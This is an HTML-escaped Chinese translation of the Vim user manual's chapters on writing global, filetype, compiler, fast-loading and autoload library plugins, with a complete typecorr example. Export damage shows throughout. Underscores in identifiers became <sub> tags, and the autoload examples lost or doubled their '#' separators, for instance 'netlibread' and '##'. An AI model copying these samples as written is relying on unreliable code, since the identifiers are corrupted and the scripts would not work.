&lt;p&gt;&lt;SID&gt; 是脚本的ID，用来唯一的代表一个脚本。Vim 在内部将 &lt;SID&gt; 翻译为&lt;SNR&gt;123_，其中 123 可以是任何数字。这样一个函数 &lt;SID&gt;Add() 可能在一个脚本中被命名为 &lt;SNR&gt;11&lt;sub&gt;Add&lt;&#x2F;sub&gt;()，而在另一个脚本中被命名为&lt;SNR&gt;22&lt;sub&gt;Add&lt;&#x2F;sub&gt;()。如果你用 :function 命令来获得系统中的函数列表你就可以看到了。映射中对 &lt;SID&gt; 的翻译是完全一样的。这样你才有可能通过一个映射来调用某个脚本中的局部函数。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org301d1db&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yong-hu-ming-ling&quot;&gt;用 户 命 令&lt;&#x2F;h2&gt;
&lt;p&gt;现在让我们来定义一个用来添加更正的用户命令:&lt;&#x2F;p&gt;
&lt;p&gt;38 if !exists(&quot;:Correct&quot;)
39   command -nargs=1  Correct  :call s:Add(&lt;q-args&gt;, 0)
40 endif
这个用户命令只在系统中没有同样名称的命令时才被定义。否则我们会得到一个错误。用:command! 来覆盖现存的用户命令是个坏主意。这很可能使用户不明白自己定义的命令为什么不起作用。|:command|&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org823546a&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jiao-ben-bian-liang&quot;&gt;脚 本 变 量&lt;&#x2F;h2&gt;
&lt;p&gt;当一个变量前面带有 s: 时，我们将它称为脚本变量。该变量只能在脚本内部被使用。在脚本以外该变量是不可见的。这样就避免了在不同的脚本中使用同一个变量名的麻烦。该变量在 Vim 的运行期间都是可用的。当再次调用 (source) 该脚本时使用的是同一个变量。|s:var|&lt;&#x2F;p&gt;
&lt;p&gt;有趣的是这些变量也可以在脚本定义的函数、自动命令和用户命令中使用。在我们的例子中我们可以加入几行用来统计更正的个数:&lt;&#x2F;p&gt;
&lt;p&gt;19 let s:count = 4
..
30 function s:Add(from, correct)
..
34   let s:count = s:count + 1
35   echo s:count . &quot; corrections now&quot;
36 endfunction
起初s:count被脚本初始化为 4。当后来s:Add()函数被调用时，其值被增加了。在哪里调用函数无关紧要。只要它是定义在该脚本以内的，就可以使用脚本中的局部变量。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orgc7c45d3&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jie-guo&quot;&gt;结 果&lt;&#x2F;h2&gt;
&lt;p&gt;下面就是完整的例子:&lt;&#x2F;p&gt;
&lt;p&gt;1 &quot; Vim global plugin for correcting typing mistakes
2 &quot; Last Change: 2000 Oct 15
3 &quot; Maintainer: Bram Moolenaar &lt;a href=&quot;mailto:Bram@vim.org&quot;&gt;Bram@vim.org&lt;&#x2F;a&gt;
4 &quot; License:  This file is placed in the public domain.
5
6 if exists(&quot;g:loaded&lt;sub&gt;typecorr&lt;&#x2F;sub&gt;&quot;)
7   finish
8 endif
9 let g:loaded&lt;sub&gt;typecorr&lt;&#x2F;sub&gt; = 1
10
11 let s:save&lt;sub&gt;cpo&lt;&#x2F;sub&gt; = &amp;amp;cpo
12 set cpo&amp;amp;vim
13
14 iabbrev teh the
15 iabbrev otehr other
16 iabbrev wnat want
17 iabbrev synchronisation
18     \ synchronization
19 let s:count = 4
20
21 if !hasmapto(&#x27;&lt;Plug&gt;TypecorrAdd&#x27;)
22   map &lt;unique&gt; &lt;Leader&gt;a  &lt;Plug&gt;TypecorrAdd
23 endif
24 noremap &lt;unique&gt; &lt;script&gt; &lt;Plug&gt;TypecorrAdd  &lt;SID&gt;Add
25
26 noremenu &lt;script&gt; Plugin.Add\ Correction      &lt;SID&gt;Add
27
28 noremap &lt;SID&gt;Add  :call &lt;SID&gt;Add(expand(&quot;&lt;cword&gt;&quot;), 1)&lt;CR&gt;
29
30 function s:Add(from, correct)
31   let to = input(&quot;type the correction for &quot; . a:from . &quot;: &quot;)
32   exe &quot;:iabbrev &quot; . a:from . &quot; &quot; . to
33   if a:correct | exe &quot;normal viws\&lt;C-R&gt;\&quot; \b\e&quot; | endif
34   let s:count = s:count + 1
35   echo s:count . &quot; corrections now&quot;
36 endfunction
37
38 if !exists(&quot;:Correct&quot;)
39   command -nargs=1  Correct  :call s:Add(&lt;q-args&gt;, 0)
40 endif
41
42 let &amp;amp;cpo = s:save&lt;sub&gt;cpo&lt;&#x2F;sub&gt;
43 unlet s:save&lt;sub&gt;cpo&lt;&#x2F;sub&gt;
第 33 行还没有解释过。它将新定义的更正用在当前光标下的单词上。|:normal| 被用来使用新的缩写。注意 虽然这个函数是被一个以 :noremap 定义的映射调用的，这里的映射和缩写还是被展开使用了。&lt;&#x2F;p&gt;
&lt;p&gt;推荐对 fileformat 选项使用 unix 值。这样的 Vim 脚本就可以在所有系统内使用。对 fileformat 选项使用 dos 的脚本无法正常的在 Unix 上使用。参见|:source&lt;sub&gt;crnl&lt;&#x2F;sub&gt;|。为确保该值被正确设置，在写入文件前执行下面的命令:&lt;&#x2F;p&gt;
&lt;p&gt;:set fileformat=unix
文 档&lt;&#x2F;p&gt;
&lt;p&gt;给你的插件写一些文档是个好主意。特别是当用户可以自定义其中的某些功能时尤为必要。关于如何安装文档，请查阅 |add-local-help|。&lt;&#x2F;p&gt;
&lt;p&gt;下面是一个插件帮助文档的简单例子，名叫 typecorr.txt:&lt;&#x2F;p&gt;
&lt;p&gt;1 &lt;strong&gt;typecorr.txt&lt;&#x2F;strong&gt;      Plugin for correcting typing mistakes
2
3 If you make typing mistakes, this plugin will have them corrected
4 automatically.
5
6 There are currently only a few corrections.  Add your own if you like.
7
8 Mappings:
9 &lt;Leader&gt;a   or   &lt;Plug&gt;TypecorrAdd
10     Add a correction for the word under the cursor.
11
12 Commands:
13 :Correct {word}
14     Add a correction for {word}.
15
16
17 This plugin doesn&#x27;t have any settings.
其实只有第一行是文档的格式所必需的。Vim 将从该帮助文件中提取该行并加入到help.txt 的 LOCAL ADDITIONS: |local-additions| (本地附加文档) 一节中。第一个* 一定要在第一行的第一列。加入你的帮助文件之后用 :help 来检查一下各项是否很好的对齐了。&lt;&#x2F;p&gt;
&lt;p&gt;你可以为你的帮助文档在**之间加入更多的标签。但请注意不要使用现存的帮助标签。你最好能在标签内使用插件名用以区别，比如上例中的 typecorr-settings。&lt;&#x2F;p&gt;
&lt;p&gt;建议使用||来引用帮助系统中的其它部分。这可以使用户很容易得找到相关联的帮助。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orgb170c81&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wen-jian-lei-xing-jian-ce&quot;&gt;文 件 类 型 检 测&lt;&#x2F;h2&gt;
&lt;p&gt;如果 Vim 还不能检测到你的文件类型，你需要在单独的文件里创立一个文件类型检测的代码段。通常，它的形式是一个自动命令，它在文件名字匹配某模式时设置文件类型。例如:&lt;&#x2F;p&gt;
&lt;p&gt;au BufNewFile,BufRead *.foo         set filetype=foofoo
把这个一行的文件写到 runtimepath 里第一个目录下的 ftdetect&#x2F;foofoo.vim。Unix 上应该是 ~&#x2F;.vim&#x2F;ftdetect&#x2F;foofoo.vim。惯例是，使用文件类型的名字作为脚本的名字。&lt;&#x2F;p&gt;
&lt;p&gt;如果你愿意，你可以使用更复杂的检查。比如检查文件的内容以确定使用的语言。另见|new-filetype|。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orgfb86a74&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xiao-jie&quot;&gt;小 结&lt;&#x2F;h2&gt;
&lt;p&gt;关于插件的小结:&lt;&#x2F;p&gt;
&lt;p&gt;command	description
s:name	脚本的局部变量。
&lt;SID&gt;	脚本 ID，用于局部于脚本的映射和函数。
hasmapto()	用来检测插件定义的映射是否已经存在的函数。
&lt;Leader&gt;	“mapleader” 的值。用户可以通过该变量定义插件所定义映射的起始字符。
:map &lt;unique&gt;	如果一个映射已经存在的话，给出警告信息。
:noremap &lt;script&gt;	在映射右边仅执行脚本的局部映射，而不检查全局映射。
exists(&quot;:Cmd&quot;)	检查一个用户命令是否存在。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org3aa9c3b&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;12-bian-xie-wen-jian-lei-xing-cha-jian&quot;&gt;12 编写文件类型插件&lt;&#x2F;h1&gt;
&lt;p&gt;文件类型插件和全局插件其实很相似。但是它的选项设置和映射等仅对当前缓冲区有效。这类插件的用法请参阅 |add-filetype-plugin|。&lt;&#x2F;p&gt;
&lt;p&gt;请先阅读上面|11|关于全局插件的叙述。其中所讲的对文件类型插件也都适用。这里只讲述一些不同之处。最根本的区别是文件类型插件只应该对当前缓冲区生效。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org3761641&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jin-yong&quot;&gt;禁 用&lt;&#x2F;h2&gt;
&lt;p&gt;如果你在编写一个提供很多人使用的文件类型插件，这些用户应该有机会选择不加载该插件。你应该在插件的顶端加上:&lt;&#x2F;p&gt;
&lt;p&gt;&quot; Only do this when not done yet for this buffer
if exists(&quot;b:did&lt;sub&gt;ftplugin&lt;&#x2F;sub&gt;&quot;)
finish
endif
let b:did&lt;sub&gt;ftplugin&lt;&#x2F;sub&gt; = 1
这同时也避免了同一插件在同一缓冲区内被多次执行的错误 (当使用不带参数的 :edit命令时就会发生)。&lt;&#x2F;p&gt;
&lt;p&gt;现在用户只要编写一个如下的一行的文件类型插件就可以完全避免加载缺省的文件类型插件了:&lt;&#x2F;p&gt;
&lt;p&gt;let b:did&lt;sub&gt;ftplugin&lt;&#x2F;sub&gt; = 1
当然这要求该文件类型插件所处的文件类型插件目录在 runtimepath 所处的位置在$VIMRUNTIME之前！&lt;&#x2F;p&gt;
&lt;p&gt;如果你的确希望使用缺省的插件，但是又想自行支配其中的某一选项，你可以用一个类似下例的插件:&lt;&#x2F;p&gt;
&lt;p&gt;set textwidth=70
现在将这个文件存入那个 after 目录中。这样它就会在调用 Vim 本身的 vim.vim文件类型插件之后被调用 |after-directory|。对于 Unix 系统而言，该目录会是~&#x2F;.vim&#x2F;after&#x2F;ftplugin&#x2F;vim.vim。
注意 缺省的插件设置了 b:did&lt;sub&gt;ftplugin&lt;&#x2F;sub&gt;，但在此脚本应该忽略之。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org8d64355&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xuan-xiang&quot;&gt;选 项&lt;&#x2F;h2&gt;
&lt;p&gt;为了确保文件类型插件仅仅影响当前缓冲区，应该使用&lt;&#x2F;p&gt;
&lt;p&gt;:setlocal
命令来设置选项。还要注意只设定缓冲区的局部选项 (查查有关选项的帮助)。当|:setlocal| 被用于设置全局选项或者某窗口的局部选项时，会影响到多个缓冲区，这是文件类型插件应该避免的。&lt;&#x2F;p&gt;
&lt;p&gt;当一个选项的值是多个标志位或项目的”合”时，考虑使用 += 和 -=，这样可以保留现有的值。
注意 用户可能已经改变了该选项的值了。通常先将选项的值复位成缺省值再做改动是个好主意。例:&lt;&#x2F;p&gt;
&lt;p&gt;:setlocal formatoptions&amp;amp; formatoptions+=ro
映 射&lt;&#x2F;p&gt;
&lt;p&gt;为了确保键盘映射只对当前缓冲区生效，应该使用&lt;&#x2F;p&gt;
&lt;p&gt;:map &lt;buffer&gt;
命令。这还应该和上面讲述的两步映射法连起来使用。下面是一个例子:&lt;&#x2F;p&gt;
&lt;p&gt;if !hasmapto(&#x27;&lt;Plug&gt;JavaImport&#x27;)
map &lt;buffer&gt; &lt;unique&gt; &lt;LocalLeader&gt;i &lt;Plug&gt;JavaImport
endif
noremap &lt;buffer&gt; &lt;unique&gt; &lt;Plug&gt;JavaImport oimport &quot;&quot;&lt;Left&gt;&lt;Esc&gt;&lt;&#x2F;p&gt;
&lt;div&gt;
&lt;table border=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;6&quot; rules=&quot;groups&quot; frame=&quot;hsides&quot;&gt;
&lt;&#x2F;div&gt;
&lt;div&gt;
&lt;colgroup&gt;
&lt;col  class=&quot;org-left&quot; &#x2F;&gt;
&lt;&#x2F;div&gt;
&lt;div&gt;
&lt;col  class=&quot;org-left&quot; &#x2F;&gt;
&lt;&#x2F;div&gt;
&lt;div&gt;
&lt;col  class=&quot;org-left&quot; &#x2F;&gt;
&lt;&#x2F;div&gt;
&lt;div&gt;
&lt;col  class=&quot;org-left&quot; &#x2F;&gt;
&lt;&#x2F;colgroup&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td class=&quot;org-left&quot;&gt;hasmapto()&lt;&#x2F;td&gt;
&lt;td class=&quot;org-left&quot;&gt;被用来检查用户是否已经定义了一个对&amp;lt;Plug&amp;gt;JavaImport的映射。如果没有，该文件类型插件就定义缺省的映射。因为缺省映射是以&lt;&#x2F;td&gt;
&lt;td class=&quot;org-left&quot;&gt;&amp;lt;LocalLeader&amp;gt;&lt;&#x2F;td&gt;
&lt;td class=&quot;org-left&quot;&gt;开始，就使得用户可以自己定义映射的起始字符。缺省的是反斜杠。&amp;lt;unique&amp;gt; 的用途是当已经存在的了这样的映射或者和已经存在的映射有重叠的时候给出错误信息。&lt;&#x2F;td&gt;
&lt;&#x2F;tr&gt;
&lt;&#x2F;div&gt;
&lt;div&gt;
&lt;tr&gt;
&lt;td class=&quot;org-left&quot;&gt;:noremap&lt;&#x2F;td&gt;
&lt;td class=&quot;org-left&quot;&gt;被用来防止其他用户定义的映射干扰。不过，:noremap &amp;lt;script&amp;gt; 仍然可以允许进行脚本中以&amp;lt;SID&amp;gt;开头的映射。&lt;&#x2F;td&gt;
&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;
&lt;&#x2F;table&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;一定要给用户保留禁止一个文件类型插件内的映射而不影响其它功能的能力。下面通过一个邮件文件类型插件来演示如何做到这一点:&lt;&#x2F;p&gt;
&lt;p&gt;&quot; 增加映射，除非用户反对。
if !exists(&quot;no&lt;sub&gt;plugin&lt;&#x2F;sub&gt;&lt;sub&gt;maps&lt;&#x2F;sub&gt;&quot;) &amp;amp;&amp;amp; !exists(&quot;no&lt;sub&gt;mail&lt;&#x2F;sub&gt;&lt;sub&gt;maps&lt;&#x2F;sub&gt;&quot;)
&quot; Quote text by inserting &quot;&amp;gt; &quot;
if !hasmapto(&#x27;&lt;Plug&gt;MailQuote&#x27;)
vmap &lt;buffer&gt; &lt;LocalLeader&gt;q &lt;Plug&gt;MailQuote
nmap &lt;buffer&gt; &lt;LocalLeader&gt;q &lt;Plug&gt;MailQuote
endif
vnoremap &lt;buffer&gt; &lt;Plug&gt;MailQuote :s&#x2F;^&#x2F;&amp;gt; &#x2F;&lt;CR&gt;
nnoremap &lt;buffer&gt; &lt;Plug&gt;MailQuote :.,$s&#x2F;^&#x2F;&amp;gt; &#x2F;&lt;CR&gt;
endif
其中用到了两个全局变量:
no&lt;sub&gt;plugin&lt;&#x2F;sub&gt;&lt;sub&gt;maps&lt;&#x2F;sub&gt; 禁止所有文件类型插件中的映射
no&lt;sub&gt;mail&lt;&#x2F;sub&gt;&lt;sub&gt;maps&lt;&#x2F;sub&gt; 禁止某一特定的文件类型插件的映射&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org128f22d&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yong-hu-ming-ling-1&quot;&gt;用 户 命 令&lt;&#x2F;h2&gt;
&lt;p&gt;在使用 |:command| 命令时，如果加上 -buffer 开关，就可以为某一类型的文件加入一个用户命令，而该命令又只能用于一个缓冲区。例:&lt;&#x2F;p&gt;
&lt;p&gt;:command -buffer  Make  make %:r.s&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orgc6a12f0&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bian-liang-1&quot;&gt;变 量&lt;&#x2F;h2&gt;
&lt;p&gt;文件类型插件对每一个该类型的文件都会被调用。脚本局部变量 |s:var| 会被所有的调用共享。如果你想定义一个仅对某个缓冲区生效的变量，使用缓冲区局部变量|b:var|。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org8efae85&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;han-shu-1&quot;&gt;函 数&lt;&#x2F;h2&gt;
&lt;p&gt;一个函数只需要定义一次就行了。可是文件类型插件会在每次打开相应类型的文件时都被调用。下面的结构可以确保函数只被定义一次:&lt;&#x2F;p&gt;
&lt;p&gt;:if !exists(&quot;*s:Func&quot;)&lt;&#x2F;p&gt;
&lt;p&gt;function s:Func(arg)
...
endfunction&lt;&#x2F;p&gt;
&lt;p&gt;:endif&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orgf3ec3d8&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;che-xiao&quot;&gt;撤 消&lt;&#x2F;h2&gt;
&lt;p&gt;当用户执行 :setfiletype xyz 时，之前的文件类型命令应该被撤消。在你的文件类型插件中设定b:undo&lt;sub&gt;ftplugin变量&lt;&#x2F;sub&gt;，用来撤销该插件的各种设置。例如:&lt;&#x2F;p&gt;
&lt;p&gt;let b:undo&lt;sub&gt;ftplugin&lt;&#x2F;sub&gt; = &quot;setlocal fo&amp;lt; com&amp;lt; tw&amp;lt; commentstring&amp;lt;&quot;
\ . &quot;| unlet b:match&lt;sub&gt;ignorecase&lt;&#x2F;sub&gt; b:match&lt;sub&gt;words&lt;&#x2F;sub&gt; b:match&lt;sub&gt;skip&lt;&#x2F;sub&gt;&quot;
在 :setlocal 命令的选项后使用 &amp;lt; 会将其值复位为全局值。这可能是最好的复位选项值的方法。&lt;&#x2F;p&gt;
&lt;p&gt;但这也需要把 C 标志位从 cpoptions 选项中去除，就像上面 |use-cpo-save| 提到的那样。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org81d951a&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wen-jian-ming&quot;&gt;文 件 名&lt;&#x2F;h2&gt;
&lt;p&gt;文件类型必须被包括在插件文件名中 |ftplugin-name|。可以使用以下三种形式之一:&lt;&#x2F;p&gt;
&lt;p&gt;…&#x2F;ftplugin&#x2F;stuff.vim
…&#x2F;ftplugin&#x2F;stuff&lt;sub&gt;foo.vim&lt;&#x2F;sub&gt;
…&#x2F;ftplugin&#x2F;stuff&#x2F;bar.vim
stuff 是文件类型，foo 和 bar 是任意名字。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org9f3d3a9&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xiao-jie-1&quot;&gt;小 结&lt;&#x2F;h2&gt;
&lt;p&gt;以下是有关文件类型插件一些特殊环节:&lt;&#x2F;p&gt;
&lt;p&gt;command	description
&lt;LocalLeader&gt;	maplocalleader 的值，用户可以通过它来自定义文件类型插件中映射的起始字符。
:map &lt;buffer&gt;	定义一个仅对缓冲区有效的局部映射。
:noremap &lt;script&gt;	仅重映射脚本中以&lt;SID&gt;开始的映射。
:setlocal	设定仅对当前缓冲区有效的选项。
:command-buffer	定义一个仅对缓冲区有效的局部命令。
exists(&quot;*s:Func&quot;)	查看是否已经定义了某个函数。
参阅所有插件的特殊环节 |plugin-special|。&lt;&#x2F;p&gt;
&lt;p&gt;13 编写编译器插件
编译器插件可以用来设定于某一特定编译器相关的选项。用户可以使用 |:compiler| 命令来加载之。主要是用以设定 errorformat 及 makeprg 选项。&lt;&#x2F;p&gt;
&lt;p&gt;最简单的方法就是学习一个例子。下面的命令将编辑所有缺省安装的编译器插件:&lt;&#x2F;p&gt;
&lt;p&gt;:next $VIMRUNTIME&#x2F;compiler&#x2F;*.vim
用 |:next| 可以查阅下一个插件文件。&lt;&#x2F;p&gt;
&lt;p&gt;这类文件有两个特别之处。一是允许用户否决或者增强缺省文件的机制。缺省的文件以下面的代码开始:&lt;&#x2F;p&gt;
&lt;p&gt;:if exists(&quot;current&lt;sub&gt;compiler&lt;&#x2F;sub&gt;&quot;)&lt;&#x2F;p&gt;
&lt;p&gt;finish&lt;&#x2F;p&gt;
&lt;p&gt;:endif
:let current&lt;sub&gt;compiler&lt;&#x2F;sub&gt; = &quot;mine&quot;
当你写了编译器文件并把它放到你个人的运行时目录 (例如，Unix 上 ~&#x2F;.vim&#x2F;compiler)时，你需要设置 current&lt;sub&gt;compiler&lt;&#x2F;sub&gt; 变量，使得缺省文件不进行设置。&lt;&#x2F;p&gt;
&lt;p&gt;第二个特别之处是: 用 :set 命令来配合 :compiler! 而用 :setlocal 来配合:compiler。Vim 为此定义了 :CompilerSet 用户命令。然而旧版本的 Vim 没有，因此你的插件应该提供该命令。下面是一个例子:&lt;&#x2F;p&gt;
&lt;p&gt;if exists(&quot;:CompilerSet&quot;) != 2
command -nargs=* CompilerSet setlocal &lt;args&gt;
endif
CompilerSet errorformat&amp;amp;      &quot; use the default &#x27;errorformat&#x27;
CompilerSet makeprg=nmake
当你为 Vim 发布版本或者整个系统编写编译器插件时，应该使用上面提到的机制。这样当用户插件已经定义了 current&lt;sub&gt;compiler&lt;&#x2F;sub&gt; 的时候什么也不做。&lt;&#x2F;p&gt;
&lt;p&gt;当你为了自行定义缺省插件的一些设定而编写编译器插件时，不要检查current&lt;sub&gt;compiler&lt;&#x2F;sub&gt;。这个插件应该在最后加载，因此其所在目录应该在 runtimepath的最后。对于 Unix 来说可能是 ~&#x2F;.vim&#x2F;after&#x2F;compiler。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org3f71c0c&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;14-bian-xie-kuai-su-zai-ru-de-cha-jian&quot;&gt;14 编写快速载入的插件&lt;&#x2F;h1&gt;
&lt;p&gt;插件会不断变大而使代码越来越长。启动时的延迟因而会非常显著，而你可能几乎不用这个插件。这时，就是时候让我们来编写可以快速载入的插件了。&lt;&#x2F;p&gt;
&lt;p&gt;基本的方法是调用插件两次。第一次定义用户命令和映射，提供需要的功能。第二次定义实现这些功能的函数。&lt;&#x2F;p&gt;
&lt;p&gt;听起来很吓人，快速载入意味着载入两次！我们的意思是，第一次载入很快，把脚本的大部分内容延迟到第二次才载入，只有实际使用这些功能时才会这么做。当然，如果你总是用这些功能，实际上更慢了！&lt;&#x2F;p&gt;
&lt;p&gt;注意 从 Vim 7 开始，有一个替代方法: 使用 |autoload| 功能|15|。&lt;&#x2F;p&gt;
&lt;p&gt;下例演示如何这是如何完成的:&lt;&#x2F;p&gt;
&lt;p&gt;&quot; 演示快速载入的 Vim 全局插件
&quot; Last Change:  2005 Feb 25
&quot; Maintainer:   Bram Moolenaar &lt;a href=&quot;mailto:Bram@vim.org&quot;&gt;Bram@vim.org&lt;&#x2F;a&gt;
&quot; License:  This file is placed in the public domain.&lt;&#x2F;p&gt;
&lt;p&gt;if !exists(&quot;s:did&lt;sub&gt;load&lt;&#x2F;sub&gt;&quot;)
command -nargs=* BNRead  call BufNetRead(&lt;f-args&gt;)
map &lt;F19&gt; :call BufNetWrite(&#x27;something&#x27;)&lt;CR&gt;&lt;&#x2F;p&gt;
&lt;p&gt;let s:did&lt;sub&gt;load&lt;&#x2F;sub&gt; = 1
exe &#x27;au FuncUndefined BufNet* source &#x27; . expand(&#x27;&lt;sfile&gt;&#x27;)
finish
endif&lt;&#x2F;p&gt;
&lt;p&gt;function BufNetRead(…)
echo &#x27;BufNetRead(&#x27; . string(a:000) . &#x27;)&#x27;
&quot; 读入功能在此
endfunction
function BufNetWrite(…)
echo &#x27;BufNetWrite(&#x27; . string(a:000) . &#x27;)&#x27;
&quot; 写回功能在此
endfunction
第一次载入脚本时，没有设置 s:did&lt;sub&gt;load&lt;&#x2F;sub&gt;。这时执行 if 和 endif 之间的命令。它以 |:finish| 命令结束，这样脚本的其余部分不再执行。&lt;&#x2F;p&gt;
&lt;p&gt;第二次载入脚本时，s:did&lt;sub&gt;load&lt;&#x2F;sub&gt; 已经存在，这时执行 endif 之后的命令。这里定义(可能很长的)BufNetRead()和BufNetWrite()函数。&lt;&#x2F;p&gt;
&lt;p&gt;如果把该脚本放到你的 plugin 目录，Vim 启动时会执行它。下面列出发生事件的序列:&lt;&#x2F;p&gt;
&lt;p&gt;启动期间执行脚本时，定义 BNRead 命令并映射&lt;F19&gt;键。定义 |FuncUndefined|自动命令。:finish 命令使脚本提前终止。&lt;&#x2F;p&gt;
&lt;p&gt;用户输入BNRead命令或者按了&lt;F19&gt;键。BufNetRead()或BufNetWrite()函数会被调用。&lt;&#x2F;p&gt;
&lt;p&gt;Vim 找不到这些函数并因此激活了 |FuncUndefined| 自动命令事件。因为模式 BufNet* 匹配要调用的函数，执行命令 source fname，其中 fname 被赋予脚本的名字，不管它实际在何处都没问题。这是因为该名字来自 &lt;sfile&gt; 扩展的结果 (见|expand()|)。&lt;&#x2F;p&gt;
&lt;p&gt;再次执行脚本。s:did&lt;sub&gt;load&lt;&#x2F;sub&gt; 变量已经存在，此时定义函数。&lt;&#x2F;p&gt;
&lt;p&gt;注意 后来载入的函数匹配 |FuncUndefined| 自动命令的模式。要确信其它插件没有定义匹配此模式的函数。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org5cf5099&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;15-bian-xie-ku-jiao-ben&quot;&gt;15 编写库脚本&lt;&#x2F;h1&gt;
&lt;p&gt;有些功能会在多个地方调用。如果这已经不是一两行的代码，你可能会希望把这些代码放进脚本，然后被许多其它脚本使用。我们把这种脚本称为库脚本。&lt;&#x2F;p&gt;
&lt;p&gt;可以手动载入库脚本，只要你不要重复调用它就行了。用|exists()|函数可以判断。例如:&lt;&#x2F;p&gt;
&lt;p&gt;if !exists(&#x27;*MyLibFunction&#x27;)
runtime library&#x2F;mylibscript.vim
endif
call MyLibFunction(arg)
这里你需要知道MyLibFunction()在脚本 library&#x2F;mylibscript.vim 里定义，该脚本在 runtimepath 的某个目录里。&lt;&#x2F;p&gt;
&lt;p&gt;为了稍稍简化，Vim 提供了自动载入机制。现在，本例看起来像:&lt;&#x2F;p&gt;
&lt;p&gt;call mylib#myfunction(arg)
简单多了，是不是？Vim 会识别函数名，如果该函数还没有定义，查找 runtimepath里的 autoload&#x2F;mylib.vim。该脚本必须定义 mylib#myfunction() 函数。&lt;&#x2F;p&gt;
&lt;p&gt;在 mylib.vim 脚本里可以放上许多其它函数，你可以自由组织库脚本的函数。但必须使函数名 ## 前面的部分匹配脚本名。否则 Vim 无法知道载入哪个脚本。&lt;&#x2F;p&gt;
&lt;p&gt;如果你真的热情高涨写了很多库脚本，现在可能想要用子目录吧。例如:&lt;&#x2F;p&gt;
&lt;p&gt;call netlibread(&#x27;somefile&#x27;)
Unix 上，这里使用的库脚本可以是:&lt;&#x2F;p&gt;
&lt;p&gt;~&#x2F;.vim&#x2F;autoload&#x2F;netlib&#x2F;ftp.vim
其中的函数应该如此定义:&lt;&#x2F;p&gt;
&lt;p&gt;function netlibread(fname)
&quot;  用 ftp 读入文件 fname
endfunction
注意 定义所用的函数名必须和调用的函数名完全相同。最后一个 ## 之前的部分必须准确匹配子目录和脚本名。&lt;&#x2F;p&gt;
&lt;p&gt;同样的机制可以用来定义变量:&lt;&#x2F;p&gt;
&lt;p&gt;let weekdays = dutch#weekdays
会载入脚本 autoload&#x2F;dutch.vim，它应该包含这样的内容:&lt;&#x2F;p&gt;
&lt;p&gt;let dutch#weekdays = [&#x27;zondag&#x27;, &#x27;maandag&#x27;, &#x27;dinsdag&#x27;, &#x27;woensdag&#x27;,
\ &#x27;donderdag&#x27;, &#x27;vrijdag&#x27;, &#x27;zaterdag&#x27;]
进一步的阅读可见: |autoload|。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orgd69ed76&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;16-fa-bu-vim-jiao-ben&quot;&gt;16 发布 Vim 脚本&lt;&#x2F;h1&gt;
&lt;p&gt;Vim 用户可以在 Vim 网站上寻找脚本: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.vim.org%E3%80%82%E5%A6%82%E6%9E%9C%E4%BD%A0%E5%AE%9E%E7%8E%B0%E4%BA%86%E5%AF%B9%E5%88%AB%E4%BA%BA%E4%B9%9F%E6%9C%89%E7%94%A8%E7%9A%84%E5%8A%9F%E8%83%BD%EF%BC%8C%E8%AE%A9%E5%A4%A7%E5%AE%B6%E4%B8%80%E8%B5%B7%E5%88%86%E4%BA%AB&quot;&gt;http:&#x2F;&#x2F;www.vim.org。如果你实现了对别人也有用的功能，让大家一起分享&lt;&#x2F;a&gt;！&lt;&#x2F;p&gt;
&lt;p&gt;Vim 脚本应该可以用于任何系统。它们不一定有 tar 或 gzip 命令。如果你想把文件打包和&#x2F;或进行压缩，建议使用 zip 工具。&lt;&#x2F;p&gt;
